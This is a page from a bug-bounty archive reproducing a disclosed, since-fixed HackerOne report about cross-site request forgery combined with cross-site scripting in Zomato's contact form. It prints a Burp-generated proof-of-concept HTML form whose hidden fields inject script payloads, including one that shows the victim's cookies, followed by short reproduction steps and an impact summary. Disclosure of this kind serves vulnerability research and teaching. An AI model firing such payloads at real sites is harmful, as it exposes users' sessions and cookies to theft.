Skip to content
XSS Disclosed report Beginner

XSS and CSRF in Zomato Contact form

The Zomato contact form accepted a forged submission that also injected script into the email field, executing XSS in the browser.

vibs123i Follow

Originally disclosed on HackerOne

  • Fixed in 4 days
  • Disclosed after 4 months

URL affected:-- https://www.zomato.com/contact CSRF Payload:--

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://www.zomato.com/contact" method="POST"> <input type="hidden" name="csrf&#95;token" value="fa53b2d4ea3ae0113d903ed5b0200fcb" /> <input type="hidden" name="name" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="email" value="vibhuti123i&quot;&gt;&lt;script&#32;&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="message" value="retrryrty" /> <input type="hidden" name="submit" value="Submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Step to Reproduce:---- 1)I have tested it after Login and without Login .This CSRF worked with executing XSS due to CSRF in Contact form.It is tested in Latest Firefox browser.

2)Just run the above payload and you will find below image XSS executed poping Up cookies.

Attachments

CSRF_XSS.jpg
CSRF_XSS.jpg From the original on HackerOne

The original report as published on HackerOne, by vibs123i. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute script in a victim's browser via a forged form submission, potentially stealing cookies, though the report does not demonstrate actual cookie theft beyond an alert.

What the attacker needed

Victim visits attacker page; victim may be logged in

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A contact form accepted a forged submission and did not clean the email field, so script in that field ran in the browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by vibs123i

View all

2 more disclosed reports, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.